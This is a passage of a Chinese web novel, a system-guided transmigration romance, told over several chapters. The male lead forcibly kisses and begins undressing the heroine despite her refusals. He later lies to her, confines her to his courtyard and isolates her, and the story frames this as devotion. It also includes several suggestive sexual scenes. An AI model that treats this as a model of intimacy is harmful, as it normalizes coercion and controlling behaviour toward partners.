不知道等了多久,就在柳凝雪昏昏欲睡时,地上的谢玄淮动了动,她睡意顿时没了,忙过去看他,说:“谢玄淮,你醒了?”
谢玄淮缓缓睁开眼睛,眏入眼帘的是柳凝雪清秀带着担忧的面容,他静静地看了她一会儿,忽的抓住了她的手腕,一个翻身将她压在了下位。
柳凝雪还没反应过来,就觉一阵天旋地转,等她的视线再聚拢已,却看见谢玄淮带着几分茫然的脸,更多的是抑制不住的欲.念。
他按住了她的手腕,赤.祼不加掩饰的目光在她身上游走不停,她整个人在他面前好像没穿衣服一般。
柳凝雪禁不住面上一红,挣扎着想要推开他,说:“放开我。”
少年却固执地压着她不放,他黑沉的眸里满是压制不住地侵入.欲,少见地带了几分病态的疯狂。
柳凝雪心底没来由地又升起一丝丝恐惧,她慌张地看着他,再一次重复:“放开我。”
谢玄淮却死死地压制着她,冷声问:“柳凝雪,你将我置于何地?”
“我以为我们经历了那么多,哪怕你对我依旧没放下所有,可我以为你对我与对别人是不同的。”
他声音如击冰碎玉,每一个字每一句话都说的掷地有声,清清楚楚地落入柳凝雪耳中。
“可是呢,就算我们经历再多,做过更多,我也始终赶不上那枚玉佩在你心里的地位,它就对你这么重要吗?重要到……你可以为了它不顾一切。”
他咬牙切齿地说出最后的几句话,按着她手腕力道加重,他说:“我在你心中是不是永远也赶不上他?那个前世的我。”
柳凝雪猛地瞳孔一震,心知他误会了什么,正要开口解释,却被他硬生生打断,谢玄淮道:“不过已经不重要了,过了今夜,你就彻彻底底成为了我的人,先夺身,后夺心,我不信你对我一点感情都没有。”
“恨也好,爱也好,你的身心都只会是我一个人的。”
“不是的!”柳凝雪急切地打断他,还要解释,嘴唇却已被人堵住,余下的话被堵回喉咙里。
他的舌尖趁势而入,迅猛不可挡,柳凝雪几乎是应激般合上牙齿咬住了他探入的舌尖,谢玄淮喉咙里发出一声闷哼,即兴如此也毫无退缩之意,柳凝雪听到痛呼下意识地松开,可紧跟着,他的舌尖又探了进来,她又咬了下去,但又不敢用太大力,怕真的咬断他的舌头。
两人就这样僵持不下着,谢玄淮睁开眼睛看她,浓墨般的瞳仁清晰地倒映着她的影子,他的手忽的往下摸索着她的腰带。
柳凝雪惊得松开了牙齿,他再次深吻了下去,直至她呼吸困难才作罢,他的吻细细密密地落在她脸上额上,一直蔓延到脖颈处,柳凝雪慌乱地喊道:谢玄淮!放开我!”
他动作不停,往深处而去,这时,柳凝雪忍着泪大喊一声,“我讨厌你!”
谢玄淮猛地顿住了,趁他的桎梏一松,柳凝雪抽出手猛扇了他一巴掌,他的脸被打得偏过一侧,脸上五指红印顿现。
谢玄淮冷笑一声,说:“那又如何?我就是要和你……”
余下还没说完,他脸上又迎来了柳凝雪的一巴掌,他本就身受重伤,现在又挨了柳凝雪重重的一巴掌,她手劲极大,扇得他脑袋发晕。
柳凝雪见他怔住了,猛地一下子推开了他,她忍着心里的不适,理好身上的衣裳毫不犹豫地起身往洞外而去。
她现在一点都不想待在那里,只想着离他越远越好。
柳凝雪一直走一直走,从平地走到周围杂草有她腰高。
她停下了脚步,茫然地看着周围,空无一人,月色如银洒落眼前一片。
【宿主,你真的要走吗?】
向来沉默的系统这时却开了口。
柳凝雪擦去脸上的泪,愤愤地问它,“你什么意思啊?我不走等着被他吃干抹净吗?”
系统静默了一阵,【可是宿主他受了重伤。】
柳凝雪:“我已经给他包扎留药了。”
系统:【他还中毒了。】
柳凝雪顿了一下,“与我无关。”
系统:【他把唯一的解药让给了你,你不帮他,他活不到明晚。】
柳凝雪面色一变,说:“什么意思?你是说他那晚中了雾毒没服解药吗?”
系统:【唯一的解药蛊虫他给了你。】
柳凝雪道:“那我就要救他吗?”
想起方才的事,她现在依旧觉得气愤。
系统说:【这是你的选择,但无论宿主做出什么选择,我都会支持你,系统是永远忠于宿主的。】
话落,周围又回归安静一片,柳凝雪站在风中凌乱,一时思绪万千,她要救他吗?
片刻之后,她下定决心转身往回走,边走边问系统,“解毒的方法是什么?”
系统道:【以身为引。】
柳凝雪差点一个没站稳摔倒在地上,这不就是让她和他做吗?
61. 缠绵
柳凝雪怀惴着复杂的情绪回到了那个山洞,明明已经做好了准备,可当她真回到这里时,还是止不住地心跳如擂鼓。
山洞里的火堆前,少年坐在地上低眸出神地望着眼前的火光,他的唇色惨如白纸,眉尖微微蹙着。
她怔怔地看着他,一时忘了动作,良久,少年似是发现了她,抬眸往她这边扫来。
两人视线在半空中相接,此时的他们眼里都只有彼此。
柳凝雪缓声对他说:“谢玄淮,我们一起吧。”
话落,他手中的木枝啪的一下被他折断了,眼眸跟着不自然地垂下,柳凝雪定了定心向他走了过去,谢玄淮已然从地上站了起来。
他的视线落在她白瓷般的脸颊上,仔仔细细地打量着她,柳凝雪一想到他们一会儿要做什么,脸上噌的涨起了一片潮红。
她低声喃喃地说:“我……我不太会,我没看过那种图……”
她紧张到连说话也是结结巴巴的,随即,她指尖摸到腰带上,她记得第一步应该是解开。
腰带松落,衣领如莲层层叠叠铺展开来,露出她玉白的肌肤,她将衣裳退至半肩,抬眸直直地看向他,忍住心里的慌张无措,问他:“是,是这样吗?”
他盯着她看了好半晌,才伸出手去触碰她的肩膀,他的指尖凉凉的,冻得她身体一缩,接着自己整个人就被他拦腰抱起,脚下悬空一阵,她措手不及迎来他的横抱,慌乱之下,双手紧紧攀上了他的脖颈,这一动,衣裳又散去了不少。
她的衣裳是上好的衣料,主打一个轻滑,他将自己轻轻地放在石床上,再将自己宽大的衣裳垫在下面。
衣服上还带着他滚热的体温,他解开余下的里衣,露出他藏在衣下紧实的腹肌,少年的背影瞧着单薄,实则隐藏着磅礴欲发的力量。
“是,这样的。”他低哑的声音说。
那一刻,柳凝雪紧张地闭起了眼睛,摊开的双手下意识的握紧,身体止不住地颤抖。
“我害怕……”柳凝雪低声说。
谢玄淮将自己的发带扯下,覆在她眼上,说:“看不见就不害怕了。”
他的手顺着她的臂膀而上,一直到她的五指,他轻轻地掰开她的手指,轻声说:“别害怕好吗?放松一点。”
柳凝雪听着他的话,慢慢放松了下来,心里在不断地给自己打气,没什么大不了,左右就上下躺着而已。
然而事实却远远超出她的想象,谢玄淮的一只手与她五指相扣,另一只手却抓着她的手抚上自己的脸,触及他滚烫的肌肤,她的指尖蜷缩了一下。
他低头在她脸上落下细细密密的吻,然后是脖颈……
他的动作很轻,被亲吻过的地方隐隐作痒,柳凝雪轻哼一声,想去抓痒,手却被他拽得紧紧的,“痒。”她说。
谢玄淮将下巴搁置在她的肩膀上,夜风凉凉,吹散了洞内的一股燥热,坚硬与柔软的曲线相交,欢愉与痛感并存,刺激着她的神经,视线逐渐失去焦点,眼里漫上层层泪雾。
……
他吻去她眼角的泪痕,温声细语地哄着她:“别哭,我错了。”
口里说着道歉的话,力道却一点没有减少,柳凝雪反而感觉他越发的兴奋了,她的秀发被汗泪打湿,艰难地开口问他:“毒解了吗?”
谢玄淮顿了一下,随后闭上眼睛继续将下巴搁到她肩膀上,“再等等。”
他的手穿过她的腋窝揽上了她的肩,默默地将一切渡给她,柳凝雪得空的那只手因不断传来的疼痛而变得柔绵无力,她随手乱抓,抓住了他的长发,狠狠一扯,谢玄淮被她抓得倒吸了一口凉气,他的脸紧贴着她的脸,不断往前推进。
……
谢玄淮的唇瓣抵在她耳边,如孩童般的幼稚的语气问她,“你爱我吗?”
“柳凝雪,说,你爱我。”
“说,你只爱……谢郎。”
“柳凝雪,爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧爱我吧只爱我一个就爱我一人。”
柳凝雪思绪混乱,完全集中不到一处,耳边是谢玄淮不断带着喘.息的说话声,脑海是系统冰冷的好感度提示音。
谢玄淮好感度增加百分之二谢玄淮好感度增加百分之二谢玄淮好感度增加百分二,一直加到百分之六十才停下。
她迷乱中缠绵地回应着:
“……我爱你。”
“……我爱你。”
“我只爱……谢郎。”
“……我只爱你一个。”
……
清晨朝阳雨露散落地面,石床上,柳凝雪轻缓地睁开了眼睛,她茫然地看着眼前的一切,身侧的人早已不知所踪,身下垫的衣裳和酸痛的感觉无一不在切实地告诉她,他们昨晚越过了那条戒线。
柳凝雪揉了揉发痛的胳膊脖子,她拿过身上披着的衣裳,下了石床穿起来。
穿好衣物,她回头一看,只见垫在自己身下的衣裳有一处满是脏污,她羞愧地捂住了脸,也不知道谢玄淮灌了多少,又流了多少,实在太多了她有点吃不消,也承受不住。
似是不愿面对这尴尬的场面,她正想收起那件衣服,但在她刚拿起衣服的那一刻,谢玄淮却突然回来了。
他手上拿着果子,用一片叶子装着,看到她的动作,轻挑了下眉,柳凝雪窘迫地简直想找个地洞钻进去。
这时,谢玄淮道:“我来处理就行,不多休息一下吗?”
柳凝雪快速地放下衣服,双手捂着脸,说:“不用……”
话落,满内便陷入了一片沉寂当中,柳凝雪疑惑地放下手,却见谢玄淮真的把那件外衣处理了,他掐诀用火烧了。
柳凝雪这才感觉好受了许多,她呼了一口气看向他,说:“我们也早点去找林月明他们会合吧。”
谢玄淮点了点头,与她一同离去。
山脚处杂草丛生,树木稀疏,草长得有半人高,柳凝雪一边拂开草一边走着,谢玄淮牵着她
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的手走在另一边。
这里也不知道会通往哪里,一路过来什么也没发现,日上中天,柳凝雪脸上都热出了汗来,谢玄淮对她说:“先休息一下吧。”
“好。”柳凝雪应声答。
两人来到一个大石后坐着休息,谢玄淮抬手轻轻擦去她脸边的汗珠,慢声说:“你睡着的时候,我收到了他们的传信符,他们说他们已经回去了。”
柳凝雪道:“真的吗?”
她倒希望他们是真的回去了,如果因为找他们再遇到什么危险就不好了。
谢玄淮眸色沉沉地说:“我不会骗你的。”
柳凝雪道:“那我们也赶紧回上京吧,说不定还能在路途中碰到他们。”
谢玄淮说:“好。”
柳凝雪立即站了起来,先他一步离开,谢玄淮定定地看着她的背影,眼里的欲念在止不住地翻涌,他其实就是骗她的,什么江若宁,林月明,他根本就不在乎,她只要和他在一起那就够了。
走出大山时出奇的轻松,两人摸索着来到了一个镇上,原本上午还晴光大好的天气,傍晚却开始下了大雨。
柳凝雪无耐,只好和谢玄淮找了间客栈住下,夜晚时,谢玄淮端着饭菜正想进房,忽听一旁传来惊讶的一声,“谢世子。”
他转头看去,平淡无波的眼眸看着向他走来的江若宁,这都能遇见他们,真是奇了。
江若宁喜出望外地说:“我们找了你们好久!怎么样?世子妃没事哪?”
谢玄淮淡淡地回应他,说:“无事。”
江若宁道:“那你们要同我们一起回上京,大家一起也有个伴。”
刚说完,谢玄淮就拒绝了他,说:“不必了,我和世子妃还有事要做,你们先回去吧。”
江若宁微感遗憾,道:“那好吧。”
随即,谢玄淮便推门进了屋,将他挡在了门外,江若宁看着这道紧闭的门,他总感觉谢玄淮有些变了,变得更冷漠不近人情了。
屋内,柳凝雪刚沐浴完,她穿好衣服过去坐下,问他:“方才你在外面说了什么?有人找你?”
谢玄淮点了点头,神色不变地说:“不小心被别人撞到了,他跟我道歉。”
“哦,这样啊。”柳凝雪便没再多想了。
她看着桌上的菜食欲大动,忙拿起筷子用起了晚膳。
吃完了饭,柳凝雪又匆匆洗漱了番,来到床上躺下,这些天真要累死她了,她闭上双眼,过了不久后,谢玄淮便从身后贴了过来,他的手搂过她的腰,将她紧紧抱在怀里。
柳凝雪睡意朦胧中不愿再去理他,由着他抱了,谢玄淮将脸埋在她的秀发里,嗅着她乌发上淡淡的香气,心里却想:
还不够,他要让柳凝雪完完全全属于他,他想让她身上里外完全充斥着他的气息,这样她才会真正只属于他。
等回了上京,他就带她一起住在倚竹院里,与他同吃同住,同洗同睡,将她困在自己身边,他们就待在倚竹院里哪也不去,也不许她去。
62. 我们
天明时,用过早膳,两人便离开了客栈,他们一路往上京城的方向去,行了好几日才到。
柳凝雪在路上时还因没碰见过林月明二人而感到些微失落,但回到上京城后,这股失落就消失得一无所踪了。
明明才离开差不多一个月,再回到王府时却好像离开了很久一般,柳凝雪竟生出一股归家安适之感。
他们二人没什么行李也不需要搬,下了马车后,柳凝雪就直奔自己的院子去睡觉,这些天也把她折腾的不轻。
不曾想,她刚一动身,身边的谢玄淮就抓住了她的手腕,问她:“你要去哪里?”
柳凝雪莫名道:“当然是回我自己的院子啊。”不然还能去哪里。
谢玄淮看着她说:“以后你和我一起住在倚竹院,你我无需再分院睡。”
“我们夫妻本该住在一起的呀。”
他说着唇角微微弯起笑着,他的眼眸深深的,望不见底,柳凝雪看着他,心里忽然没来由地泛起一股抗拒,她说:“之前不一直是分院住的吗?怎么现在突然就要一起了?”
谢玄淮缓缓地牵起了她的手,道:“你不愿意吗?”
他说着,显出了几分伤心感,道:“之前是我有眼无珠,现在才知道你是我的仙,凝雪,我们住一起好吗?永远不分离。”
柳凝雪犹豫着不说话,她也不知道该如何回答,她很回想答应,可她的内心却在抗拒,总觉得事情没有那么简单。
在她思索考虑时,谢玄淮已经命人将她的东西都搬到了倚竹院,她沉默着不说话,不拒绝,也不同意。
倚竹院阵法机关确实多,柳凝雪紧跟着谢玄淮一起走,避免碰到什么不该碰的阵法。
柳凝雪还是第一次来到谢玄淮的院子,原本茂密的竹林已经被修剪了许多,不像以前那般阴暗了。
他的院子极大,院中除了栽竹以外,还种有各种花草树木,最大的一棵花树种在屋前的茶座边,那是棵白玉兰花树,白色的花骨朵在树枝上盛开,迎着微风。
一朵玉兰花忽的从树上掉落下来,站在树下的柳凝雪伸手出去接住。
这时,谢玄淮走过来问她:“在做什么?”
柳凝雪道:“赏花。”
说着,将手中的玉兰递给他看,谢玄淮伸手接过她手中的玉兰,沉静的眼眸望了她一眼。
“喜欢玉兰?”他说。
柳凝雪道:“还行。”
谢玄淮轻转着手上的玉兰,略有所思。
柳凝雪打了个哈欠,她已经困得不行了,谢玄淮道:“我带你去休息。”
说着就牵起了她的手,带着她往屋里走,柳凝雪看了下周围,说:“我们睡一间房吗?”
谢玄淮:“嗯,倚竹院只有一间房。”
他也不打算再布置一间房。
柳凝雪想了想,才道:“好吧。”
谢玄淮的房间也不小,比她的大好几倍,入门就见一张正对着门的案几,几上堆着许多的书籍和奏折,有些书籍还堆在了案几和坐位旁边。
床在进门的左边,大小能容的下四五个她,青绿的幔帐从中间分开搭在床头床尾处,床的对面置放着一个博古架和桌几,是平时进膳喝茶之处。
谢玄淮对她说:“去睡吧。”
柳凝雪隐隐感觉有些不对劲,望着他抿了抿嘴,谢玄淮牵着她的手来到床边,柔声说:“你累了,睡吧。”
柳凝雪迟疑地点了点头,随后便脱去外衣和鞋,又松了头发才到床上睡着,她睡觉不喜欢穿着外衣,这会让她感到很闷。
由于她太困了,刚沾到枕头便睡了过去,谢玄淮在一旁静静地看着,指尖抚上她的脸侧,轻声说:“以后我们就待在这里,哪里也不去了。”
“我们会一辈子在一起的,谁也不会来打拢我们。”
柳凝雪这一觉睡得很沉,她梦到了自己的家里和家人,这天是大年三十,她拿着新年礼物回到家里,家父家母热烈地欢迎她,还做了她爱吃的菜,吃完饭又打了锅边炉,她还梦到和自己的朋友出去玩,吃火锅……
这个梦很长,长到她以为自己真的回到了自己家中,可事实确是,一睁眼她又回到了倚竹院,昏暗的房间,外面夜色当空,屋里明烛未燃。
视线慢慢聚拢,屋里昏黑,借着浅淡月光,她看清了谢玄淮的脸,她和他相对着离得极近,鼻尖触着鼻尖,他的手搂在自己的腰上,双眸闭上,似在入睡。
他的睡容安详平静,白玉般的脸上不含一丝瑕疵,柳凝雪心下一动,双手轻缓地搂上他的脖颈,唇边弯起一抹浅笑,再慢慢抬起头亲上他柔软的薄唇。
谢玄淮是被柳凝雪亲醒的,她吻上自己的那一刻他就醒了,四目相对,柳凝雪埋首在自己怀里,对他说:“谢玄淮,我喜欢你。”
他把她搂紧了些,将下巴搁在她头顶上,“有多喜欢。”他低哑着声音问。
柳凝雪说:“很喜欢很喜欢……”
“那就是爱我。”
柳凝雪不反驳他,谢玄淮道:“凝雪,我们一直在这里好吗?永远也不出去,也不会有人来打扰我们。”
柳凝雪沉默了一阵,她不敢保证能一直陪在他身边,攻略任务完成,她还是要回去的,这是毫无疑问的。
她抱紧了他,说:“谢玄淮,更爱我一点吧。”
谢玄淮道:“我很爱你。”
……
回来之后,柳凝雪睡了几天的觉,谢玄淮每天和她厮混着,钦天监也不去了,奏折都是拿到倚竹院处理,万不得已才会出去一趟,但也会很快回来。
有一日躺床上时,柳凝雪见他迟迟不起身处理奏折,便问他,“怎么不去处理奏折?”
谢玄淮闭着眼睛,淡淡地说:“辞了。”
“啊?”柳凝雪有些惊讶。
谢玄淮睁开眼,看着她说:“我把钦天监监副的官职辞了,以后不会再有人来打扰我们。”
谢玄淮目光幽深地望着她,房间还是昏暗不已,只有床头边的桌上点着一根蜡烛。
距离山洞那晚已经过去好几天了,他望着她松散的白色衣领,里面的肚兜若隐若现。
他翻身将柳凝雪压下,望着她问:“还困吗?”
柳凝雪不明所以,说:“不困了。”
四目相望,他眉眼旋开即合的欲.念清清楚楚,有了第一次,她明白他要做什么。
她双手攀上他的脖颈,闭起眼睛,摆出一幅视死如归的表情,似是在对他说:来吧。
他目光下移,
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扫过她脖颈上的多面玉印,察觉到他的目光,柳凝雪说:“这是你送的多面玉印,我一直戴着。”
谢玄淮不语,只是从喉咙里发出一声沉沉的,“嗯。”
紧跟着,柳凝雪就感觉到身体一凉,他的肌肤很滚烫,两人在一起像冰与火的交合,柳凝雪还是痛得睁开了眼睛,青色的幔帐在夜中来回晃动,他额边泛起了薄汗,充满了情.欲的眼睛扫过她的脸侧,所见处好像被火烫了一般。
她伸手覆住了他的双眼,他动作一停,伸手扯下头上的发带递给她,柳凝雪顺势给他绑上,遮住了他的双眼。
还是那根红色的发带。
柳凝雪天真的以为还像上次那样,他趴在她的肩头,简单的来回。
可到后半夜她却惊住了,不知道谢玄淮去哪里学了这么多房中密事,简单是个畜生。
柳凝雪咬牙切齿地想,他撑起身隔着红发带看她,发带上的结因动作而变得松松垮垮,最后一刻,它从他眼上飘落,准备地覆在了柳凝雪眼上。
……
四个时辰后,在她的强烈要求下,柳凝雪身心俱疲地趴在浴桶边缘,白皙的皮肤满是红痕,她一双眼睛直直地望着前方,一动不动的。
她将自己关在净室里不出去,也隔绝了谢玄淮,一想起他,她心里就恨恨的,她被他折腾惨了,哭了好几次,以前怎么没发现他这么能行,这不看了百千本书,他都做不出来这些。
歇息了一会儿后,柳凝雪拿起毛巾擦拭自己的身体,等她看到肩上的痣的时候,面色又是一红,谢玄淮的记忆也是好到变态的地步,她左手腕,左肩左胸左腰,及大腿根内侧都有一颗小黑痣。
她从前倒没觉得有什么,但就在刚才,这些痣就好像在指引着他一样,让他顺着这些痣吻下去,痣在哪里,他便吻在哪里。
柳凝雪的脸和耳朵都红得熟透了,更不愿去面对他了,这时,门外忽然响起了敲门声。
说:“凝雪,可以了吗?”
他声音还带着事后的沙哑低磁,柳凝雪慌忙道:“没!还不行!”
“……已经很久了。”他说。
很久了吗?
柳凝雪有些疑惑,她道:“等一下。”
“我进来了。”
话音还没落下,谢玄淮已经推门而进,柳凝雪惊得双手交叠护在胸前,可下一刻,她又觉得有点欲盖弥彰,现在他们对彼此可以说是完全的坦诚相待了。
随即,她又放下了手,但还是把自己的身体往下沉了些,问他:“你做什么?”
谢玄淮面色不改,说:“沐浴。”
说着,他便开始解衣,他的背后是她抓的红痕,脸上是欲望过后未退的潮红。
沐浴?
柳凝雪脑海顷刻之间炸开了,这里只有一个浴桶,他要沐浴,那不就是!
她脸上噌的一下又红了个透,眼见谢玄淮就要解完了,她忙转过身去用双手捂住了脸。
然后,她就听到了入水的声音,紧接着就好像有一块热碳贴在了她身后。
他紧紧地抱着自己,将下巴搁在她的肩上,这浴桶很大,容下他们两个人不成问题。
他的脸慢慢下移,贴在了她的后背,闷闷地说:“再来一次好吗?”
63. 气恼
“不行!”柳凝雪斩钉截铁地拒绝,他却将自己抱得更紧了。
他的唇瓣吻着她的后背,柳凝雪忙将手伸入水中止住了他往下沉的手,脸色通红,恨声道:“你!住手!”
她脑海里不禁又浮现他沾满潮液的指尖,他将手背轻抵在自己的唇边……
死变态!
柳凝雪暗暗骂他。
也没人告诉她,手还能这么用,她到现在还能感受到冰凉指尖触及的异感,他将自己抱得极紧,似乎真的很难受的样子。
柳凝雪犹豫了一下,看了眼自己的手,然后把手递到身后,这也不能怪她知识缺乏,毕竟她看小说都只看某绿江软件,不能说的都囗囗化了,她哪里想那么多。
谢玄淮睁开眼静静地看着那只宛如削葱的手,他握过她的手吻过一遍,柳凝雪被迫转过身来面对着他,便见他又将她的手往自己脸上贴去,温温热热的,与他冰凉的脸形成明显对比。
下一刻,她看见自己的双手被他按进了水里,接着他又从发上取下了他的发带,一同沉入水中,柳凝雪完全没预料到事情这么发展,她的双手僵硬着不敢动,发带在她手上缠绕了几圈。
“死变态!!!”柳凝雪没忍住骂他。
谢玄淮脸色不为所动,抱着她,俯在她耳边说:“我就是变态,世子妃,我已读书破万卷,以后我们可以一起练习更多。”
柳凝雪咬牙道:“谁要和你练习?!!”
谢玄淮闭眼静静地抚摸着她柔顺的长发,柳凝雪感觉手中似有稠水滑过。
冰凉黏腻。
他又轻又慢地梳理着她的长发,帮她洗干洗净,柳凝雪的手麻得不行,他才将自己放开,擦干身体穿好衣服,柳凝雪就迫不及待地躺回了床上,被这么一折腾,天也快亮了。
谢玄淮躺到了她身边,帮她轻轻地揉着手,看着她沉沉睡去。
柳凝雪是被饿醒的,她实在是饿得不行了,刚一睁眼,天才亮起来不久,谢玄淮似料到她会饿一样,早就备好了热粥,空瘪的肚子有一碗热粥下肚,渐渐变得暖和起来。
喝完粥后,柳凝雪又回到床上睡觉了。
迷迷糊糊中,她感觉谢玄淮从身后环抱住了她的腰,紧贴着她睡下。
柳凝雪就这样在倚竹院住了半个月之久,虽然平时不能出去,但也没有那么无聊,且她大部分时间都在睡觉,令她郁闷的是,自己和谢玄淮几乎每天都会进行那么几次,但好感度却没有变过,期间柳凝雪还问了系统,确实是停在六十了。
柳凝雪百思不得其解,她又问系统:“这怎么回事啊?为什么一点没变?有什么办法吗?”
系统:【不清楚。】
柳凝雪:“……”
“那我要你何要?”
系统:……
【要不,你试着主动一下?这些天好像都是谢玄淮在主动的。】
柳凝雪一想,好像又有点道理,第一次是她主动的,确实提高了不少好感度,难道真的要她主动?
柳凝雪道:“那我试试?”
柳凝雪在脑海里搜刮自己贫瘠的床知识,这时,谢玄淮忽然从她身后走了过来,在她身旁蹭下,轻声问她:“在想什么?”
柳凝雪坐在廊下的横栏上,见到他来,便说:“没什么。”
谢玄淮眼眸微转,低垂下去,牵起她的手,说:“不要瞒着我,凝雪,你想什么都要告诉我,好吗?我们是夫妻。”
柳凝雪最近总听到他强调他们是夫妻的事,她低头看着他说:“你真想知道?”
谢玄淮说:“你的一切我都想知道。”
柳凝雪弯下腰拉近了两人的距离,她说:“我在想,怎么讨好你。”
说着,她抽出被他牵着的手,双手捧上了他脸,彼此相望,都能看到对方眼中的爱意流转。
谢玄淮神情认真道:“你不需要讨好我,你只需要站在我身边就够了。”
“好。”柳凝雪说,她的目光在他唇上停留了一下,随即吻了上去,就在这一刻,她听到系统的指示音说:“谢玄淮好感度增加百分之二。”
果然有用!
柳凝雪心中一喜,双手环上谢玄淮的脖颈,吻得更深了。
谢玄淮将她打横抱起走向屋中,把她轻轻地放到床榻上,低头吻在她的眉眼与唇上,他与她十指相扣,握得紧紧的,整个人犹如粘在了她身上。
他细细碎碎的吻落在她白皙的脖颈上,锁骨处,而后他抬起头,弓着身子,低头去咬她细长的腰带。
衣领如莲层层绽开,日下青帘摇晃,地上是散落的衣袍。
……
柳凝雪发现谢玄淮除了以外,还喜欢用手,只是他指尖经常冰冷,好像捂不热的冰,
除此以外,他也喜欢让她动手。
这天柳凝雪如往常般睡着,她身体不好,谢玄淮让她休息几天。
可不知为何他的精力好像无限多一样,柳凝雪甚至怀疑他是不是就没下来过。
好比如两人坐着看书的时候,谢玄淮会经常神游,他大马金刀地坐在她身旁的地板上,柳凝雪见他神游有时还主动坐到他怀里,然后她的脸色就僵住了。
他低眸看了她一眼,手中的书已然放下,节骨修长的五指探入了她的裙摆,一直到大腿处,柳凝雪隔着衣服忙止住了他,却不及他力大,一下子就挣开了,他一只紧紧地搂着她的肩,另一手要多下流就有多下流,感受到那阵冰凉时,她身体又颤了一下,双手紧抓住他的衣领。
等柳凝雪意识回拢时,她已经跨坐在了他的大腿上,粉嫩的裙摆与他散开的衣领交织,铺展在他的身上,裙摆被提起一截,露出她光洁的小腿,谢玄淮的双手按在她的腰上,她眼里的泪不住地往下掉。
她粉色细长的腰带被他一圈圈绕在手臂上,他朱红的发带一圈圈绕在了她的大腿上,他埋首在她胸前,如痴如醉。
柳凝雪不愿做时,他两手就把玩着她的一只手,有时亲,有时玩,有时剪指甲,像个拿到心爱玩具的小孩。
而柳凝雪另一只手拿着话本在看,有时她还会主动去坐红烛,渐渐地,她也能从中感受到舒服和乐趣。
回想到这,柳凝雪越想越觉得羞耻,或许那几天是排卵期,让她做出如斯动作,她来月事的时候,谢玄淮倒安分了。
只是依旧贴着自己睡,黑暗中,柳凝雪并没有睡着,经期睡眠浅,很难入睡,再加上身后有个火炉似的人,她更难入睡了。
柳凝雪翻转过身去面对他,谢玄淮迷惑又茫然地看着她,柳凝雪问:“很难受吗?”
谢玄淮叹了口气不说话,靠近想要亲她,下一刻他却愣住了,柳凝雪把手慢慢探进衣被里。<
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p>他教过她,她记得。
谢玄淮将她抱到自己身上,让她更舒服些。
柳凝雪的手都快麻了,她忽见谢玄淮眼角滑过一滴晶莹的东西,仔细一看,是泪。
他哭了!柳凝雪这才想起,其实他大多这种时候会眼尾泛红,只是忍着没落下,难怪每次她总能感觉有滚烫的东西滚过她的腰腹。
事后,他去净了身,又帮她洗干净了手,睡前还替她揉酸痛的手。
虽说待在倚竹院里不愁吃喝,也不用焦虑什么,但待得多了,柳凝雪就感到几分茫然与无措来,倒不是她不想待在这里,只是隔离人群太久难免会感到孤寂。
柳凝雪趴在窗台上,望着窗外的白玉兰,措不及防身后靠来一人,揽住了她的脖颈,那股熟悉且浓郁的体香往柳凝雪鼻尖冲来,谢玄淮搂住她,问:“怎么了?你不开心吗?”
柳凝雪想了想,说:“……没有啊。”
谢玄淮搂紧了她,说:“你在撒谎。”
柳凝雪眼眸转了转,说:“那……我有一点想出去?你会让陪我出去吗?”
身后的人沉默了一阵,良久她才听到谢玄淮的声音,说:“过几日再带你出去好吗?圣上举办了一场赛马,我带你去。”
话落,少女眼中顿时亮起星星点点的亮光,带着些雀跃的语气道:“真的?好!”
谢玄淮望着她,点了点头,但也只是一日而已,他并不想和她离开倚竹院太久,这一次是圣上强制要求他去的,原本有七天,他硬生生压成了一天。
可一出去,她的注意力又会离开她,转移到别人身上,谢玄淮想了想,心里感到几分不悦,还是半天好了。
半天也很久,真想不出去。
自从说要出去之后,柳凝雪就发现无论她怎么主动,好感度也升不上去了,这些天,她辛苦耕耘了好久感度也才百分之九十。
且最近她也感觉到谢玄淮不怎么缠着她了。
难道他生气了?
柳凝雪躺在床上思来想去,怎么也睡不着,她身边空空的,谢玄淮正在净室里面洗澡,最近他洗澡的时间变长了,次数也变多了。
柳凝雪起身下床往净室里走去,彼时谢玄淮正在穿衣,她从身后抱住了他,问:“你生气了?”
谢玄淮穿衣服的手一顿,低声道:“没有。”
“哦。”
旋即,柳凝雪便松开了他,谢玄淮感觉腰上一空,身后再无声音传来,他系衣带的手慢了下来。
竟然走了。
谢玄淮吐了一口气,心里郁闷不已,脸上眉眼耷拉着,显得阴沉烦闷。
他快速地穿好衣服,又吐了一口郁气,可无论如何心口都好像堵了一块石头一样,他整理了下情绪,转身走出了净室,回到床上时,却发现柳凝雪已经睡着了。
见状,他一口气堵在胸口不上不下,起伏不停,而后他唇边忽的扬了一道笑容,他气笑了。
柳凝雪是被谢玄淮戳醒的,睡得正香,突然被他戳醒,她皱着眉略微不悦地看着他,问道:“你干嘛?”
她对上谢玄淮阴沉的眉眼,脑子还迷迷糊糊的,搞不明白他要做什么。
看着她这幅疑惑不解的样子,谢玄淮就莫名地升起一股火气。
“别睡了。”他说,他眉眼怨气浓浓,又道:“明晚也别睡了。”
64. 陷阱
——
赛马的日子很快就到来,谢玄淮如约带着她出门了,只不过他一直紧牵着她的手,说什么也不放。
柳凝雪看他这样子,心里说不上是什么感受,坐上马车后,便向郊外的皇家马场出发,皇家马场规模宏大,赛马和秋猎都会在这里举行。
今日街道上出来采买的人很多,柳凝雪好不容易出来一次,心上的郁闷也少了不少,她如孩童般对外界充满了好奇心,一只手掀起帘子一直往外看着。
街道上的叫卖声不停,不少大人牵着小孩出来游玩,柳凝雪看着看着,忽然感到一阵失落,她想家了。
明明以前大半年不回去也不会觉得落寞,现在来到这里不过三四个月她难以忍受了。
她脸上的笑意渐渐淡了下去,放下窗帘回过身来,谢玄淮还牵着自己的手,他离她很近,就贴着她坐,见她面露愁容,问她:“怎么了?”
柳凝雪摇了摇头,苦笑说:“没事。”
她和他说不明白的。
千年以来他怨魂不散,流下来的玉佩阴差阳错传到了她手中,护了她二十多年,现在她穿进书中感化他,让他的怨魂消散,说起来容易做起来难。
她不确定自己是否真的能感化他,如果攻略完成即感化的话,那也不简单。
谢玄淮眸色幽深地望着她,她眉眼愁绪未散,显然是藏了心事,联想起方才她看那一家三口的神情,他忽然问她:“你想要一个孩子吗?我们生一个孩子吧。”
这话一出,柳凝雪顿时炸了起来,连忙说:“不要不要,我不喜欢孩子。”
她并不会留在这里,当然也不会留下孩子,况且古代医疗条件不行,她怕死得很。
谢玄淮默默地看着她不语,半晌才说:“不要也行,我会一直陪在你身边的,我们永远不会分开。”
柳凝雪微微一笑不说话,谢玄淮轻轻揽过她的肩将她抱进怀中。
